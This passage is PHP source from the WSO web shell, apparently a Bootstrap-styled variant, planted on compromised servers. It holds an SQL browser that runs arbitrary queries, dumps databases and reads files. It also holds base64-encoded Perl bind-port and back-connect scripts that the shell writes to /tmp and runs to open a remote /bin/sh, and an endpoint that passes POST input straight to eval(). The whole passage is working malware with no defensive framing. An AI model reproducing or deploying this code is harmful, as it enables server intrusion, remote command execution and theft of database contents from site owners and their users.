2022 if($fp) fwrite($fp, $sql); else echo($sql);
2023 $this->query('SELECT * FROM `'.$table.'`');
2024 $head = true;
2025 while($item = $this->fetch()) {
2026 $columns = array();
2027 foreach($item as $k=>$v) {
2028 if($v == null)
2029 $item[$k] = "NULL";
2030 elseif(is_numeric($v))
2031 $item[$k] = $v;
2032 else
2033 $item[$k] = "'".@mysql_real_escape_string($v)."'";
2034 $columns[] = "`".$k."`";
2035 }
2036 if($head) {
2037 $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
2038 $head = false;
2039 } else
2040 $sql = "\n\t,(".implode(", ", $item).')';
2041 if($fp) fwrite($fp, $sql); else echo($sql);
2042 }
2043 if(!$head)
2044 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
2045 break;
2046 case 'pgsql':
2047 $this->query('SELECT * FROM '.$table);
2048 while($item = $this->fetch()) {
2049 $columns = array();
2050 foreach($item as $k=>$v) {
2051 $item[$k] = "'".addslashes($v)."'";
2052 $columns[] = $k;
2053 }
2054 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2055 if($fp) fwrite($fp, $sql); else echo($sql);
2056 }
2057 break;
2058 }
2059 return false;
2060 }
2061 };
2062 $db = new DbClass($_POST['type']);
2063 if(@$_POST['p2']=='download') {
2064 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
2065 $db->selectdb($_POST['sql_base']);
2066 switch($_POST['charset']) {
2067 case "Windows-1251": $db->setCharset('cp1251'); break;
2068 case "UTF-8": $db->setCharset('utf8'); break;
2069 case "KOI8-R": $db->setCharset('koi8r'); break;
2070 case "KOI8-U": $db->setCharset('koi8u'); break;
2071 case "cp866": $db->setCharset('cp866'); break;
2072 }
2073 if(empty($_POST['file'])) {
2074 ob_start("ob_gzhandler", 4096);
2075 header("Content-Disposition: attachment; filename=dump.sql");
2076 header("Content-Type: text/plain");
2077 foreach($_POST['tbl'] as $v)
2078 $db->dump($v);
2079 exit;
2080 } elseif($fp = @fopen($_POST['file'], 'w')) {
2081 foreach($_POST['tbl'] as $v)
2082 $db->dump($v, $fp);
2083 fclose($fp);
2084 unset($_POST['p2']);
2085 } else
2086 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
2087 }
2088 wsoHeader();
2089 echo "
2090
2091<div class='container-fluid'><span class='label label-default'>Sql Browser</span>
2092<div style='margin-top:4pt;' class='well'>
2093<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
2094<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
2095<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
2096<td><select style='color:#d9534f;' name='type'><option style='color:#d9534f;' value='mysql' ";
2097 if(@$_POST['type']=='mysql')echo 'selected';
2098echo ">MySql</option><option style='color:#d9534f;' value='pgsql' ";
2099if(@$_POST['type']=='pgsql')echo 'selected';
2100echo ">PostgreSql</option></select></td>
2101<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
2102<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
2103<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
2104 $tmp = "<input type=text name=sql_base value=''>";
2105 if(isset($_POST['sql_host'])){
2106 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
2107 switch($_POST['charset']) {
2108 case "Windows-1251": $db->setCharset('cp1251'); break;
2109 case "UTF-8": $db->setCharset('utf8'); break;
2110 case "KOI8-R": $db->setCharset('koi8r'); break;
2111 case "KOI8-U": $db->setCharset('koi8u'); break;
2112 case "cp866": $db->setCharset('cp866'); break;
2113 }
2114 $db->listDbs();
2115 echo "<select style='color:#d9534f;' name=sql_base><option style='color:#d9534f;' value=''></option>";
2116 while($item = $db->fetch()) {
2117 list($key, $value) = each($item);
2118 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
2119 }
2120 echo '</select>';
2121 }
2122 else echo $tmp;
2123 }else
2124 echo $tmp;
2125 echo "</td>
2126
2127 <td><input type=submit style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' value='>>' onclick='fs(d.sf);'></td>
2128 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
2129 </tr>
2130 </table>
2131 <script>
2132 s_db='".@addslashes($_POST['sql_base'])."';
2133 function fs(f) {
2134 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
2135 if(f.p1) f.p1.value='';
2136 if(f.p2) f.p2.value='';
2137 if(f.p3) f.p3.value='';
2138 }
2139 }
2140 function st(t,l) {
2141 d.sf.p1.value = 'select';
2142 d.sf.p2.value = t;
2143 if(l && d.sf.p3) d.sf.p3.value = l;
2144 d.sf.submit();
2145 }
2146 function is() {
2147 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
2148 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
2149 }
2150 </script>";
2151 if(isset($db) && $db->link){
2152 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
2153 if(!empty($_POST['sql_base'])){
2154 $db->selectdb($_POST['sql_base']);
2155 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
2156 $tbls_res = $db->listTables();
2157 while($item = $db->fetch($tbls_res)) {
2158 list($key, $value) = each($item);
2159 if(!empty($_POST['sql_count']))
2160 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
2161 $value = htmlspecialchars($value);
2162 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
2163 }
2164 echo "<input type='checkbox' onclick='is();'> <input type=button style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
2165 if(@$_POST['p1'] == 'select') {
2166 $_POST['p1'] = 'query';
2167 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
2168 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
2169 $num = $db->fetch();
2170 $pages = ceil($num['n'] / 30);
2171 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
2172 echo " of $pages";
2173 if($_POST['p3'] > 1)
2174 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
2175 if($_POST['p3'] < $pages)
2176 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
2177 $_POST['p3']--;
2178 if($_POST['type']=='pgsql')
2179 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
2180 else
2181 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
2182 echo "<br><br>";
2183 }
2184 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
2185 $db->query(@$_POST['p2']);
2186 if($db->res !== false) {
2187 $title = false;
2188 echo '<table class="table table-striped table-hover ">';
2189 $line = 1;
2190 while($item = $db->fetch()) {
2191 if(!$title) {
2192 echo '<tr class="info">';
2193 foreach($item as $key => $value)
2194 echo '<th>'.$key.'</th>';
2195 reset($item);
2196 $title=true;
2197 echo '</tr><tr>';
2198 $line = 2;
2199 }
2200 echo '<tr class="danger">';
2201 $line = $line==1?2:1;
2202 foreach($item as $key => $value) {
2203 if($value == null)
2204 echo '<td><i>null</i></td>';
2205 else
2206 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
2207 }
2208 echo '</tr>';
2209 }
2210 echo '</table>';
2211 } else {
2212 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
2213 }
2214 }
2215 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
2216 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
2217 echo htmlspecialchars($_POST['p2']);
2218 echo "</textarea><br/><input type=submit style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' value='Execute'>";
2219 echo "</td></tr>";
2220 }
2221 echo "</table></form><br/>";
2222 if($_POST['type']=='mysql') {
2223 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
2224 if($db->fetch())
2225 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' type=submit value='>>'></form>";
2226 }
2227 if(@$_POST['p1'] == 'loadfile') {
2228 $file = $db->loadFile($_POST['p2']);
2229 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
2230 }
2231 } else {
2232 echo htmlspecialchars($db->error());
2233 }
2234 echo '</div>';
2235 echo "
2236 <footer><center><small>Wso Shell Bootstrap © Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
2237 ";
2238}
2239function actionNetwork() {
2240 wsoHeader();
2241 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
2242 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
2243 echo "<div class='container-fluid'>
2244 <span class='label label-default'>Network tools</span>
2245 <div style='margin-top:4pt;' class='well'>
2246 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
2247 <span class='label label-danger'>Bind port to /bin/sh [perl]</span><br/>
2248 <div style='width:230pt;' class='alert alert-dismissible alert-info'>
2249 Port: <input type='text' name='port' value='31337'> <input type=submit style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' value='>>'>
2250 </div>
2251 </form>
2252 <span class='label label-danger'>Back-connect [perl]</span><br/>
2253 <div style='width:230pt;' class='alert alert-dismissible alert-info'>
2254 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
2255
2256 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' type=submit value='>>'>
2257 </form></div>";
2258 if(isset($_POST['p1'])) {
2259 function cf($f,$t) {
2260 $w = @fopen($f,"w") or @function_exists('file_put_contents');
2261 if($w){
2262 @fwrite($w,@base64_decode($t));
2263 @fclose($w);
2264 }
2265 }
2266 if($_POST['p1'] == 'bpp') {
2267 cf("/tmp/bp.pl",$bind_port_p);
2268 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
2269 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
2270 unlink("/tmp/bp.pl");
2271 }
2272 if($_POST['p1'] == 'bcp') {
2273 cf("/tmp/bc.pl",$back_connect_p);
2274 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
2275 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
2276 unlink("/tmp/bc.pl");
2277 }
2278 }
2279 echo '</div></div>';
2280 echo "
2281 <footer><center><small>Wso Shell Bootstrap © Coded By <a target='_blank' class='xa' href='https://twitter.com/MrExE562'>AndrHacK</a></small> </center></footer>
2282 ";
2283}
2284
2285function actionRC() {
2286 if(!@$_POST['p1']) {
2287 $a = array(
2288 "uname" => php_uname(),
2289 "php_version" => phpversion(),
2290 "wso_version" => WSO_VERSION,
2291 "safemode" => @ini_get('safe_mode')
2292 );
2293 echo serialize($a);
2294 } else {
2295 eval($_POST['p1']);
2296 }
2297}
2298if( empty($_POST['a']) )
2299 if(isset($default_action) && function_exists('action' . $default_action))
2300 $_POST['a'] = $default_action;
2301 else
2302 $_POST['a'] = 'SecInfo';
2303if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
2304 call_user_func('action' . $_POST['a']);
2305function FetchURL($url) {
2306 $ch = curl_init();
2307 curl_setopt($ch, CURLOPT_USERAGENT, "$cheader");
2308 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2309 curl_setopt($ch, CURLOPT_HEADER, false);
2310 curl_setopt($ch, CURLOPT_URL, $url);
2311 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2312 curl_setopt($ch, CURLOPT_TIMEOUT, 30);
2313 $data = curl_exec($ch);
2314 if(!$data) {
2315 return false;
2316 }
2317 return $data;
2318 }
2319
2320
2321exit;
2322
2323?>